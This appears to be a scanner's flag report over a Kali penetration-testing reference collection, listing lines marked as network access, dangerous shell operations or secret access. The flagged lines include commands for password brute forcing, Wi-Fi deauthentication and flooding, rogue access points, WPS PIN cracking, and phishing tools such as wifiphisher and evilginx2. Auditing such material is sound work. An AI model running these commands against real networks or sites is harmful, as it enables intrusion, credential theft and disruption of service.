# 被动模式(减少请求量) wpscan --url http://target.com --enumerate p --detection-mode passive - Network accessline 55
wpscan --url http://target.com --enumerate p --detection-mode passive - Network accessline 57
# 密码爆破(需先枚举到用户名) wpscan --url http://target.com --usernames admin --passwords /usr/share/wordlists/rockyou.txt - Network accessline 58
wpscan --url http://target.com --usernames admin --passwords /usr/share/wordlists/rockyou.txt - Network accessline 60
# 使用 API Token(推荐,提升漏洞覆盖) wpscan --url http://target.com --api-token YOUR_TOKEN --enumerate vp - Network accessline 61
wpscan --url http://target.com --api-token YOUR_TOKEN --enumerate vp - Network accessline 63
# 输出 JSON 报告 wpscan --url http://target.com --enumerate u,vp --format json -o /tmp/wpscan_result.json - Network accessline 64
wpscan --url http://target.com --enumerate u,vp --format json -o /tmp/wpscan_result.json - Network accessline 67
## 注意事项 1. 免费 API Token 每天 25 次查询,建议在 https://wpscan.com/register 注册。无 Token 时漏洞覆盖率大幅降低。 - Network accessline 68
1. 免费 API Token 每天 25 次查询,建议在 https://wpscan.com/register 注册。无 Token 时漏洞覆盖率大幅降低。 - Network accessline 78
- [WPScan GitHub](https://github.com/wpscanteam/wpscan) - Network accessline 79
- [WPScan 漏洞数据库 & API](https://wpscan.com/)
kali-pentest-zh/references/web/tools/xsstrike.md
- Dangerous shell operationline 15
sudo apt install xsstrike - Network accessline 15
sudo apt install xsstrike # 或从 GitHub 安装: git clone https://github.com/s0md3v/XSStrike.git - Network accessline 16
# 或从 GitHub 安装: git clone https://github.com/s0md3v/XSStrike.git cd XSStrike && pip3 install -r requirements.txt - Network accessline 17
git clone https://github.com/s0md3v/XSStrike.git - Network accessline 40
# 测试单个 GET 参数 python3 xsstrike.py -u "http://example.com/search?q=test" - Network accessline 41
python3 xsstrike.py -u "http://example.com/search?q=test" - Network accessline 43
# POST 请求 python3 xsstrike.py -u "http://example.com/comment" --data "body=test&submit=1" - Network accessline 44
python3 xsstrike.py -u "http://example.com/comment" --data "body=test&submit=1" - Network accessline 46
# 爬取整站并测试所有参数 python3 xsstrike.py -u "http://example.com" --crawl -l 3 - Network accessline 47
python3 xsstrike.py -u "http://example.com" --crawl -l 3 - Network accessline 49
# 盲 XSS 测试(Payload 回调到外部服务器) python3 xsstrike.py -u "http://example.com/contact" --blind - Network accessline 50
python3 xsstrike.py -u "http://example.com/contact" --blind - Network accessline 52
# 通过 Burp Suite 代理路由(先在 core/config.py 中配置代理 URL) python3 xsstrike.py -u "http://example.com/search?q=test" --proxy - Network accessline 53
python3 xsstrike.py -u "http://example.com/search?q=test" --proxy - Network accessline 55
# 添加认证 Cookie python3 xsstrike.py -u "http://example.com/profile?id=1" --headers '{"Cookie": "session=abc123"}' - Network accessline 56
python3 xsstrike.py -u "http://example.com/profile?id=1" --headers '{"Cookie": "session=abc123"}' - Network accessline 71
- [XSStrike(GitHub)](https://github.com/s0md3v/XSStrike) - Network accessline 72
- [Kali xsstrike](https://www.kali.org/tools/xsstrike/)
kali-pentest-zh/references/web/tools/zaproxy.md
- Dangerous shell operationline 15
sudo apt update - Dangerous shell operationline 16
sudo apt install zaproxy - Network accessline 59
# 快速扫描并保存 HTML 输出 zaproxy -cmd \ -quickurl https://target.com \ - Network accessline 60
zaproxy -cmd -quickurl https://target.com - Network accessline 61
-quickurl https://target.com \ - Network accessline 70
# 确认 API 可访问 curl "http://127.0.0.1:8080/JSON/core/view/version/" - Network accessline 71
curl "http://127.0.0.1:8080/JSON/core/view/version/" - Network accessline 84
# 被动 baseline 扫描:适合 CI/CD 和生产安全检查 docker run -v "$(pwd)":/zap/wrk/:rw -t ghcr.io/zaproxy/zaproxy:stable \ zap-baseline.py -t https://target.com -r zap-baseline.html -J zap-baseline.json - Network accessline 85
docker run -v "$(pwd)":/zap/wrk/:rw -t ghcr.io/zaproxy/zaproxy:stable zap-baseline.py -t https://target.com -r zap-baseline.html -J zap-baseline.json - Network accessline 86
zap-baseline.py -t https://target.com -r zap-baseline.html -J zap-baseline.json - Network accessline 88
# Full scan:包含主动扫描;仅在明确授权下使用 docker run -v "$(pwd)":/zap/wrk/:rw -t ghcr.io/zaproxy/zaproxy:stable \ zap-full-scan.py -t https://target.com -r zap-full.html -J zap-full.json - Network accessline 89
docker run -v "$(pwd)":/zap/wrk/:rw -t ghcr.io/zaproxy/zaproxy:stable zap-full-scan.py -t https://target.com -r zap-full.html -J zap-full.json - Network accessline 90
zap-full-scan.py -t https://target.com -r zap-full.html -J zap-full.json - Network accessline 92
# 基于 OpenAPI 定义的 API 扫描 docker run -v "$(pwd)":/zap/wrk/:rw -t ghcr.io/zaproxy/zaproxy:stable \ zap-api-scan.py -t https://target.com/openapi.json -f openapi -r zap-api.html -J zap-api.json - Network accessline 93
docker run -v "$(pwd)":/zap/wrk/:rw -t ghcr.io/zaproxy/zaproxy:stable zap-api-scan.py -t https://target.com/openapi.json -f openapi -r zap-api.html -J zap-api.json - Network accessline 94
zap-api-scan.py -t https://target.com/openapi.json -f openapi -r zap-api.html -J zap-api.json - Network accessline 96
# 针对 GraphQL 端点的 API 扫描 docker run -v "$(pwd)":/zap/wrk/:rw -t ghcr.io/zaproxy/zaproxy:stable \ zap-api-scan.py -t https://target.com/graphql -f graphql -r zap-graphql.html -J zap-graphql.json - Network accessline 97
docker run -v "$(pwd)":/zap/wrk/:rw -t ghcr.io/zaproxy/zaproxy:stable zap-api-scan.py -t https://target.com/graphql -f graphql -r zap-graphql.html -J zap-graphql.json - Network accessline 98
zap-api-scan.py -t https://target.com/graphql -f graphql -r zap-graphql.html -J zap-graphql.json - Network accessline 110
- name: target urls: - https://target.com - Network accessline 111
urls: - https://target.com jobs: - Network accessline 112
- https://target.com - Network accessline 141
- [ZAP Command Line](https://www.zaproxy.org/docs/desktop/cmdline/) - Network accessline 142
- [ZAP Docker User Guide](https://www.zaproxy.org/docs/docker/about/) - Network accessline 143
- [ZAP Baseline Scan](https://www.zaproxy.org/docs/docker/baseline-scan/) - Network accessline 144
- [ZAP Full Scan](https://www.zaproxy.org/docs/docker/full-scan/) - Network accessline 145
- [ZAP API Scan](https://www.zaproxy.org/docs/docker/api-scan/) - Network accessline 146
- [ZAP Kali Package](https://www.kali.org/tools/zaproxy/)
kali-pentest-zh/references/wireless/README.md
kali-pentest-zh/references/wireless/tools/airbase-ng.md
- Dangerous shell operationline 15
sudo apt install aircrack-ng - Dangerous shell operationline 45
sudo airbase-ng -e "FreeWiFi" -c 6 wlan0mon - Dangerous shell operationline 50
sudo ifconfig at0 192.168.99.1 netmask 255.255.255.0 up - Dangerous shell operationline 57
sudo airbase-ng -e "TargetWiFi" -c 6 wlan0mon & - Dangerous shell operationline 60
sudo ifconfig at0 192.168.99.1 netmask 255.255.255.0 up - Dangerous shell operationline 72
sudo dnsmasq -C /tmp/dnsmasq.conf - Dangerous shell operationline 75
sudo sysctl net.ipv4.ip_forward=1 - Dangerous shell operationline 76
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE - Dangerous shell operationline 83
sudo airbase-ng -P -c 6 wlan0mon - Dangerous shell operationline 86
sudo airbase-ng -P -e "HotSpot" -c 6 wlan0mon - Network accessline 100
- [airbase-ng 文档](https://www.aircrack-ng.org/doku.php?id=airbase-ng) - Network accessline 101
- [Aircrack-ng 文档](https://www.aircrack-ng.org/documentation.html)
kali-pentest-zh/references/wireless/tools/aircrack-ng.md
- Dangerous shell operationline 15
sudo apt install aircrack-ng - Dangerous shell operationline 106
sudo airmon-ng check kill - Dangerous shell operationline 107
sudo airmon-ng start wlan0 - Dangerous shell operationline 110
sudo airodump-ng wlan0mon - Dangerous shell operationline 114
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w /tmp/target wlan0mon - Dangerous shell operationline 117
sudo aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon - Network accessline 135
- [aircrack-ng 文档](https://www.aircrack-ng.org/doku.php?id=aircrack-ng) - Network accessline 136
- [Aircrack-ng 文档](https://www.aircrack-ng.org/documentation.html) - Network accessline 137
- [aircrack-ng (GitHub)](https://github.com/aircrack-ng/aircrack-ng)
kali-pentest-zh/references/wireless/tools/aireplay-ng.md
- Dangerous shell operationline 15
sudo apt install aircrack-ng - Dangerous shell operationline 18
sudo aireplay-ng --test wlan0mon - Dangerous shell operationline 69
sudo aireplay-ng --test wlan0mon - Dangerous shell operationline 72
sudo aireplay-ng --test -b AA:BB:CC:DD:EE:FF wlan0mon - Dangerous shell operationline 79
sudo aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon - Dangerous shell operationline 82
sudo aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon - Dangerous shell operationline 85
sudo aireplay-ng -0 0 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon - Dangerous shell operationline 92
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w /tmp/handshake wlan0mon - Dangerous shell operationline 95
sudo aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon - Dangerous shell operationline 105
sudo aireplay-ng -1 0 -e TargetSSID -a AA:BB:CC:DD:EE:FF -h YY:YY:YY:YY:YY:YY wlan0mon - Dangerous shell operationline 110
sudo aireplay-ng -3 -b AA:BB:CC:DD:EE:FF -h YY:YY:YY:YY:YY:YY wlan0mon - Dangerous shell operationline 117
sudo aireplay-ng -1 0 -e "MyNetwork" -a AA:BB:CC:DD:EE:FF -h YY:YY:YY:YY:YY:YY wlan0mon - Dangerous shell operationline 120
sudo aireplay-ng -1 30 -e "MyNetwork" -a AA:BB:CC:DD:EE:FF -h YY:YY:YY:YY:YY:YY wlan0mon - Network accessline 136
- [aireplay-ng 文档](https://www.aircrack-ng.org/doku.php?id=aireplay-ng) - Network accessline 137
- [Aircrack-ng 文档](https://www.aircrack-ng.org/documentation.html)
kali-pentest-zh/references/wireless/tools/airgeddon.md
kali-pentest-zh/references/wireless/tools/airmon-ng.md
- Dangerous shell operationline 15
sudo apt install aircrack-ng - Dangerous shell operationline 38
sudo airmon-ng check - Dangerous shell operationline 41
sudo airmon-ng check kill - Dangerous shell operationline 44
sudo airmon-ng start wlan0 - Dangerous shell operationline 53
sudo airmon-ng start wlan0 6 - Dangerous shell operationline 56
sudo airmon-ng start wlan0 36 - Dangerous shell operationline 63
sudo airmon-ng stop wlan0mon - Dangerous shell operationline 66
sudo systemctl restart NetworkManager - Dangerous shell operationline 73
sudo airmon-ng check kill - Dangerous shell operationline 76
sudo airmon-ng start wlan0 - Dangerous shell operationline 79
sudo airodump-ng wlan0mon - Dangerous shell operationline 82
sudo airmon-ng stop wlan0mon - Dangerous shell operationline 83
sudo systemctl restart NetworkManager - Network accessline 99
- [airmon-ng 文档](https://www.aircrack-ng.org/doku.php?id=airmon-ng) - Network accessline 100
- [Aircrack-ng 文档](https://www.aircrack-ng.org/documentation.html)
kali-pentest-zh/references/wireless/tools/airodump-ng.md
- Dangerous shell operationline 15
sudo apt install aircrack-ng - Dangerous shell operationline 75
sudo airodump-ng wlan0mon - Dangerous shell operationline 78
sudo airodump-ng --band a wlan0mon - Dangerous shell operationline 81
sudo airodump-ng --band abg wlan0mon - Dangerous shell operationline 89
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w /tmp/capture wlan0mon - Dangerous shell operationline 102
sudo airodump-ng -a wlan0mon - Dangerous shell operationline 105
sudo airodump-ng --wps wlan0mon - Dangerous shell operationline 112
sudo airodump-ng --manufacturer wlan0mon - Dangerous shell operationline 119
sudo airodump-ng -r /tmp/capture-01.cap - Network accessline 135
- [airodump-ng 文档](https://www.aircrack-ng.org/doku.php?id=airodump-ng) - Network accessline 136
- [Aircrack-ng 文档](https://www.aircrack-ng.org/documentation.html)
kali-pentest-zh/references/wireless/tools/asleap.md
- Dangerous shell operationline 22
sudo apt install asleap - Network accessline 24
# 或从源码编译 git clone https://github.com/joswr1ght/asleap.git - Network accessline 25
git clone https://github.com/joswr1ght/asleap.git - Network accessline 115
- [asleap (GitHub)](https://github.com/joswr1ght/asleap) - Network accessline 116
- [Kali Tools - asleap](https://www.kali.org/tools/asleap/)
kali-pentest-zh/references/wireless/tools/blueranger.md
- Network accessline 43
- [Kali blueranger](https://www.kali.org/tools/blueranger/)
kali-pentest-zh/references/wireless/tools/bluesnarfer.md
- Network accessline 58
- [Kali bluesnarfer](https://www.kali.org/tools/bluesnarfer/)
kali-pentest-zh/references/wireless/tools/btscanner.md
- Network accessline 47
- [Kali btscanner](https://www.kali.org/tools/btscanner/)
kali-pentest-zh/references/wireless/tools/bully.md
kali-pentest-zh/references/wireless/tools/cowpatty.md
kali-pentest-zh/references/wireless/tools/crackle.md
kali-pentest-zh/references/wireless/tools/eaphammer.md
- Dangerous shell operationline 15
sudo apt install eaphammer - Network accessline 17
git clone https://github.com/s0lst1c3/eaphammer.git - Dangerous shell operationline 19
sudo ./kali-setup - Dangerous shell operationline 45
sudo eaphammer --interface wlan0 --essid "CorpWiFi" --channel 6 \ - Dangerous shell operationline 53
sudo eaphammer --interface wlan0 --essid "CorpWiFi" --channel 6 \ - Dangerous shell operationline 61
sudo eaphammer --interface wlan0 --essid "CorpWiFi" --channel 6 \ - Dangerous shell operationline 69
sudo eaphammer --interface wlan0 --auth wpa-eap --creds --known-beacons - Dangerous shell operationline 72
sudo eaphammer --interface wlan0 --auth wpa-eap --creds \ - Network accessline 88
- [eaphammer (GitHub)](https://github.com/s0lst1c3/eaphammer) - Network accessline 89
- [eaphammer — Kali Tools](https://www.kali.org/tools/eaphammer/)
kali-pentest-zh/references/wireless/tools/fluxion.md
kali-pentest-zh/references/wireless/tools/gatttool.md
- Network accessline 61
- [gatttool Debian man page](https://manpages.debian.org/unstable/bluez/gatttool.1.en.html)
kali-pentest-zh/references/wireless/tools/hcitool.md
- Network accessline 66
- [hcitool Debian man page](https://manpages.debian.org/unstable/bluez/hcitool.1.en.html)
kali-pentest-zh/references/wireless/tools/hcxtools.md
kali-pentest-zh/references/wireless/tools/hostapd-mana.md
- Dangerous shell operationline 15
sudo apt install hostapd-mana - Dangerous shell operationline 57
sudo hostapd-mana /tmp/mana-open.conf - Dangerous shell operationline 76
sudo hostapd-mana /tmp/mana-wpa.conf - Dangerous shell operationline 99
sudo hostapd-mana /tmp/mana-eap.conf - Network accessline 114
- [hostapd-mana (GitHub)](https://github.com/sensepost/hostapd-mana) - Network accessline 115
- [hostapd-mana — Kali Tools](https://www.kali.org/tools/hostapd-mana/)
kali-pentest-zh/references/wireless/tools/kismet.md
- Dangerous shell operationline 15
sudo apt install kismet - Dangerous shell operationline 18
sudo apt install build-essential git libwebsockets-dev pkg-config \ - Network accessline 22
libsensors4-dev libusb-1.0-0-dev python3 python3-setuptools python3-protobuf \ python3-requests python3-numpy python3-serial python3-usb python3-paho-mqtt git clone https://github.com/kismetwireless/kismet.git - Network accessline 23
python3-requests python3-numpy python3-serial python3-usb python3-paho-mqtt git clone https://github.com/kismetwireless/kismet.git cd kismet - Network accessline 24
git clone https://github.com/kismetwireless/kismet.git - Dangerous shell operationline 28
sudo make install - Dangerous shell operationline 66
sudo kismet -c wlan0 - Dangerous shell operationline 69
sudo kismet -c wlan0:name=wifi,type=linuxwifi - Dangerous shell operationline 72
sudo kismet --no-ncurses -c wlan0 & - Network accessline 74
# 访问 Web UI:http://localhost:2501 - Dangerous shell operationline 82
sudo kismet -c wlan0 -c wlan1 - Dangerous shell operationline 85
sudo kismet -c wlan0:channels="1,6,11" -c wlan1:channels="36,40,44,48" - Dangerous shell operationline 92
sudo apt install gpsd - Dangerous shell operationline 93
sudo gpsd /dev/ttyUSB0 -F /var/run/gpsd.sock - Dangerous shell operationline 96
sudo kismet -c wlan0 - Dangerous shell operationline 105
sudo kismet -c wlan0 --no-ncurses - Network accessline 118
# Kismet 提供完整的 REST API # 获取所有设备列表 curl -u kismet:password http://localhost:2501/devices/all_devices.json | jq . - Network accessline 119
# 获取所有设备列表 curl -u kismet:password http://localhost:2501/devices/all_devices.json | jq . # 注意:在较新版本的 Kismet 中,此接口可能需要 POST 请求并附带 JSON 请求体: - Network accessline 120
curl -u kismet:password http://localhost:2501/devices/all_devices.json | jq . - Network accessline 122
# curl -u kismet:password -X POST http://localhost:2501/devices/all_devices.json -d '{"fields":["kismet.device.base.macaddr","kismet.device.base.name"]}' | jq . - Network accessline 124
# 获取特定设备信息 curl -u kismet:password http://localhost:2501/devices/by-mac/AA:BB:CC:DD:EE:FF/device.json - Network accessline 125
curl -u kismet:password http://localhost:2501/devices/by-mac/AA:BB:CC:DD:EE:FF/device.json - Network accessline 128
# 使用 websocat(安装:cargo install websocat)或浏览器: # websocat -n ws://kismet:password@localhost:2501/eventbus/events.ws # 注意:普通 curl http:// 无法正确连接到 WebSocket 流端点 - Network accessline 130
# 注意:普通 curl http:// 无法正确连接到 WebSocket 流端点 - Network accessline 165
- [Kismet 官网](https://www.kismetwireless.net/) - Network accessline 166
- [Kismet (GitHub)](https://github.com/kismetwireless/kismet) - Network accessline 167
- [Kismet 文档](https://www.kismetwireless.net/docs/readme/)
kali-pentest-zh/references/wireless/tools/mdk4.md
- Dangerous shell operationline 15
sudo apt install mdk4 - Dangerous shell operationline 52
sudo mdk4 wlan0mon b - Dangerous shell operationline 55
sudo mdk4 wlan0mon b -c 6 -n "FakeNetwork" - Dangerous shell operationline 58
sudo mdk4 wlan0mon b -f /tmp/ssid_list.txt -c 6 - Dangerous shell operationline 65
sudo mdk4 wlan0mon d -c 6 -t AA:BB:CC:DD:EE:FF - Dangerous shell operationline 68
sudo mdk4 wlan0mon d -c 6 -t AA:BB:CC:DD:EE:FF -s 50 - Dangerous shell operationline 75
sudo mdk4 wlan0mon a -t AA:BB:CC:DD:EE:FF -m - Dangerous shell operationline 78
sudo mdk4 wlan0mon a -t AA:BB:CC:DD:EE:FF -c 6 - Dangerous shell operationline 85
sudo mdk4 wlan0mon e -t AA:BB:CC:DD:EE:FF - Dangerous shell operationline 92
sudo mdk4 wlan0mon f -t AA:BB:CC:DD:EE:FF -c 6 - Network accessline 107
- [mdk4 (GitHub)](https://github.com/aircrack-ng/mdk4) - Network accessline 108
- [mdk4 — Kali Tools](https://www.kali.org/tools/mdk4/)
kali-pentest-zh/references/wireless/tools/pixiewps.md
- Dangerous shell operationline 15
sudo apt install pixiewps - Dangerous shell operationline 38
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -K -vv - Dangerous shell operationline 45
sudo bully wlan0mon -b AA:BB:CC:DD:EE:FF -d -v 3 - Network accessline 76
- [pixiewps (GitHub)](https://github.com/wiire-a/pixiewps) - Network accessline 77
- [pixiewps — Kali Tools](https://www.kali.org/tools/pixiewps/)
kali-pentest-zh/references/wireless/tools/reaver.md
- Dangerous shell operationline 15
sudo apt install reaver - Dangerous shell operationline 52
sudo wash -i wlan0mon - Dangerous shell operationline 55
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv - Dangerous shell operationline 58
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -vv - Dangerous shell operationline 65
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -K -vv - Dangerous shell operationline 68
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -K -vv - Dangerous shell operationline 75
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -d 5 -vv - Dangerous shell operationline 78
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -l 300 -vv - Dangerous shell operationline 81
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -L -vv - Dangerous shell operationline 84
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -S -vv - Dangerous shell operationline 91
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -p 12340000 -vv - Dangerous shell operationline 96
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv - Network accessline 113
- [reaver-wps-fork-t6x (GitHub,Kali 版本)](https://github.com/t6x/reaver-wps-fork-t6x) - Network accessline 114
- [Kali reaver](https://www.kali.org/tools/reaver/)
kali-pentest-zh/references/wireless/tools/sdptool.md
- Network accessline 58
- [sdptool Debian man page](https://manpages.debian.org/unstable/bluez/sdptool.1.en.html)
kali-pentest-zh/references/wireless/tools/wifiphisher.md
- Dangerous shell operationline 15
sudo apt install wifiphisher - Network accessline 17
git clone https://github.com/wifiphisher/wifiphisher.git - Dangerous shell operationline 19
sudo python3 setup.py install - Dangerous shell operationline 66
sudo wifiphisher - Dangerous shell operationline 73
sudo wifiphisher - Dangerous shell operationline 76
sudo wifiphisher -p firmware-upgrade - Dangerous shell operationline 83
sudo wifiphisher -e "TargetWiFi" -p firmware-upgrade - Dangerous shell operationline 86
sudo wifiphisher -i wlan0 -e "TargetWiFi" -p oauth-login - Dangerous shell operationline 93
sudo wifiphisher -eI wlan0 -aI wlan1 -e "TargetWiFi" -p firmware-upgrade - Dangerous shell operationline 100
sudo wifiphisher -e "TargetWiFi" -p firmware-upgrade \ - Network accessline 118
- [Wifiphisher (GitHub)](https://github.com/wifiphisher/wifiphisher) - Network accessline 119
- [Wifiphisher 文档](https://wifiphisher.readthedocs.io/en/latest/)
kali-pentest-zh/references/wireless/tools/wifipumpkin3.md
- Dangerous shell operationline 25
sudo apt install wifipumpkin3 - Network accessline 27
# 或从源码安装 git clone https://github.com/P0cL4bs/wifipumpkin3.git - Network accessline 28
git clone https://github.com/P0cL4bs/wifipumpkin3.git - Dangerous shell operationline 30
sudo python3 setup.py install - Dangerous shell operationline 57
sudo wifipumpkin3 -i wlan0 - Dangerous shell operationline 60
sudo wifipumpkin3 -i wlan0 -p setup.pulp - Dangerous shell operationline 67
sudo wifipumpkin3 -i wlan0 - Dangerous shell operationline 80
sudo wifipumpkin3 -i wlan0 -x "set essid TestAP; set proxy pumpkinproxy; start" - Dangerous shell operationline 87
3. 接口不能被 NetworkManager 管理;使用 `sudo systemctl stop NetworkManager` 停止或排除该接口 - Network accessline 97
- [wifipumpkin3 (GitHub)](https://github.com/P0cL4bs/wifipumpkin3) - Network accessline 98
- [Kali Tools - wifipumpkin3](https://www.kali.org/tools/wifipumpkin3/)
kali-pentest-zh/references/wireless/tools/wifite.md
- Dangerous shell operationline 15
sudo apt install wifite - Network accessline 17
# 从 GitHub 安装最新版(wifite2) git clone https://github.com/derv82/wifite2.git - Network accessline 18
git clone https://github.com/derv82/wifite2.git - Dangerous shell operationline 20
sudo pip3 install . # setup.py install 已弃用,改用 pip - Dangerous shell operationline 24
sudo apt install aircrack-ng reaver bully hashcat hcxdumptool hcxtools - Dangerous shell operationline 56
sudo wifite - Dangerous shell operationline 59
sudo wifite --kill - Dangerous shell operationline 62
sudo wifite -i wlan0 - Dangerous shell operationline 69
sudo wifite -pow -50 --kill - Dangerous shell operationline 72
sudo wifite --clients-only --kill - Dangerous shell operationline 75
sudo wifite -c 6 --kill - Dangerous shell operationline 78
sudo wifite -first 1 --kill - Dangerous shell operationline 85
sudo wifite --wps-only --kill - Dangerous shell operationline 88
sudo wifite --wpa --skip-crack --kill - Dangerous shell operationline 91
sudo wifite --pmkid --kill - Dangerous shell operationline 94
sudo wifite --wpa --dict /usr/share/wordlists/rockyou.txt --kill - Dangerous shell operationline 114
sudo wifite --random-mac --kill - Network accessline 130
- [Wifite2 (GitHub)](https://github.com/derv82/wifite2)
kali-pentest/references/cloud-native/README.md
- Network accessline 101
- [ScoutSuite GitHub](https://github.com/nccgroup/ScoutSuite) - Network accessline 102
- [Prowler Documentation](https://docs.prowler.com/) - Network accessline 103
- [Kubernetes Documentation](https://kubernetes.io/docs/) - Network accessline 104
- [Docker Documentation](https://docs.docker.com/)
kali-pentest/references/cloud-native/tools/azurehound.md
- Dangerous shell operationline 15
sudo apt install azurehound - Network accessline 21
wget https://github.com/SpecterOps/AzureHound/releases/latest/download/azurehound-linux-amd64.zip - Dangerous shell operationline 24
sudo mv azurehound /usr/local/bin/ - Network accessline 100
# Upload collected data to BloodHound CE via API curl -X POST https://<bloodhound-ce>/api/v2/file-upload \ - Network accessline 101
curl -X POST https://<bloodhound-ce>/api/v2/file-upload \ - Network accessline 118
- [AzureHound (GitHub)](https://github.com/SpecterOps/AzureHound) - Network accessline 119
- [azurehound — Kali Tools](https://www.kali.org/tools/azurehound/)
kali-pentest/references/cloud-native/tools/docker-bench-security.md
kali-pentest/references/cloud-native/tools/kube-bench.md
- Network accessline 58
- [kube-bench GitHub](https://github.com/aquasecurity/kube-bench)
kali-pentest/references/cloud-native/tools/kubescape.md
- Dangerous shell operationline 15
curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash - Network accessline 15
curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash - Network accessline 53
- [Kubescape Documentation](https://kubescape.io/docs/) - Network accessline 54
- [Kubescape GitHub](https://github.com/kubescape/kubescape)
kali-pentest/references/cloud-native/tools/pacu.md
kali-pentest/references/cloud-native/tools/peirates.md
- Dangerous shell operationline 15
sudo apt install peirates - Network accessline 21
wget https://github.com/inguardians/peirates/releases/latest/download/peirates-linux-amd64.tar.xz - Dangerous shell operationline 24
sudo mv peirates /usr/local/bin/ - Network accessline 71
| `-m <module>` | Run a specific module from the menu (items marked with `*` support this) | | `-t <token>` | JWT token for authentication | | `-u <url>` | API server URL, e.g. `https://10.96.0.1:6443` (default is empty: `https://:`) | - Network accessline 72
| `-t <token>` | JWT token for authentication | | `-u <url>` | API server URL, e.g. `https://10.96.0.1:6443` (default is empty: `https://:`) | | `-v` | Verbose mode — display debug messages | - Network accessline 73
| `-u <url>` | API server URL, e.g. `https://10.96.0.1:6443` (default is empty: `https://:`) | - Network accessline 84
# Start with a specific API server URL peirates -u https://10.96.0.1:6443 - Network accessline 85
peirates -u https://10.96.0.1:6443 - Network accessline 170
- [peirates (GitHub)](https://github.com/inguardians/peirates) - Network accessline 171
- [peirates — Kali Tools](https://www.kali.org/tools/peirates/)
kali-pentest/references/cloud-native/tools/prowler.md
kali-pentest/references/cloud-native/tools/scoutsuite.md
- Network accessline 52
- [ScoutSuite GitHub](https://github.com/nccgroup/ScoutSuite)
kali-pentest/references/environment/docker-mode-persistent-container.md
- Dangerous shell operationline 94
RUN apt-get update -qq && apt-get install -y --no-install-recommends nmap masscan gobuster ffuf sqlmap nikto hydra john hashcat wordlists metasploit-framework && apt-get clean && rm -rf /var/lib/apt/lists/* - Dangerous shell operationline 99
apt-get clean && rm -rf /var/lib/apt/lists/*
kali-pentest/references/environment/docker-mode.md
kali-pentest/references/environment/server-mode.md
- Access to secretsline 22
[Credential-related source omitted] - Access to secretsline 23
[Credential-related source omitted] - Access to secretsline 27
[Credential-related source omitted] - Access to secretsline 34
[Credential-related source omitted] - Access to secretsline 35
[Credential-related source omitted] - Dangerous shell operationline 36
# sudo requires a TTY — use ssh -t: - Dangerous shell operationline 37
[Credential-related source omitted] - Access to secretsline 37
[Credential-related source omitted]
kali-pentest/references/exploitation/README.md
- Network accessline 70
**[socat](tools/socat.md)** — Advanced network relay and shell upgrader A more powerful successor to netcat supporting TCP, UDP, TLS-encrypted sockets, and PTY shells. Best used for upgrading basic shells to fully interactive TTYs, creati - Network accessline 71
A more powerful successor to netcat supporting TCP, UDP, TLS-encrypted sockets, and PTY shells. Best used for upgrading basic shells to fully interactive TTYs, creating encrypted C2 channels, and port forwarding through pivots. - Network accessline 192
- [Kali Tools](https://www.kali.org/tools/all-tools/)
kali-pentest/references/exploitation/tools/chisel.md
- Dangerous shell operationline 17
sudo apt install chisel - Network accessline 37
|-----------|-------------| | `client` | Run in client mode | | `<server>` | Attacker server URL (e.g., http://192.168.1.10:8080) | - Network accessline 38
| `client` | Run in client mode | | `<server>` | Attacker server URL (e.g., http://192.168.1.10:8080) | | `<remote>` | Tunnel spec: `R:socks` (reverse SOCKS), `<local>:<remote-host>:<remote-port>` | - Network accessline 39
| `<server>` | Attacker server URL (e.g., http://192.168.1.10:8080) | - Network accessline 87
- [chisel GitHub](https://github.com/jpillora/chisel)
kali-pentest/references/exploitation/tools/coercer.md
kali-pentest/references/exploitation/tools/dns2tcp.md
kali-pentest/references/exploitation/tools/evil-winrm.md
- Dangerous shell operationline 8
> ⚠<U+FE0F> **Root/sudo may be required** to install gems system-wide. Ruby must be installed. On Kali, `evil-winrm` is also available via `apt install evil-winrm`. - Dangerous shell operationline 17
sudo apt install evil-winrm - Network accessline 79
- [Evil-WinRM GitHub](https://github.com/Hackplayers/evil-winrm)
kali-pentest/references/exploitation/tools/evilginx2.md
- Dangerous shell operationline 15
sudo apt install evilginx2 - Dangerous shell operationline 33
sudo evilginx2 -p /usr/share/evilginx2/phishlets - Dangerous shell operationline 36
sudo evilginx2 -developer - Access to secretsline 57
[Credential-related source omitted] - Network accessline 65
- [evilginx2 (GitHub)](https://github.com/kgretzky/evilginx2) - Network accessline 66
- [Kali evilginx2](https://www.kali.org/tools/evilginx2/)
kali-pentest/references/exploitation/tools/getsploit.md
- Dangerous shell operationline 15
sudo apt update - Dangerous shell operationline 16
sudo apt install getsploit - Access to secretsline 58
[Credential-related source omitted] - Network accessline 73
- [getsploit GitHub](https://github.com/vulnersCom/getsploit) - Network accessline 74
- [Kali getsploit](https://www.kali.org/tools/getsploit/)
kali-pentest/references/exploitation/tools/gophish.md
- Dangerous shell operationline 25
sudo apt install gophish - Network accessline 27
# Or download from GitHub releases wget https://github.com/gophish/gophish/releases/latest/download/gophish-v0.12.1-linux-64bit.zip - Network accessline 28
wget https://github.com/gophish/gophish/releases/latest/download/gophish-v0.12.1-linux-64bit.zip - Dangerous shell operationline 80
sudo gophish - Network accessline 104
[Credential-related source omitted] - Access to secretsline 104
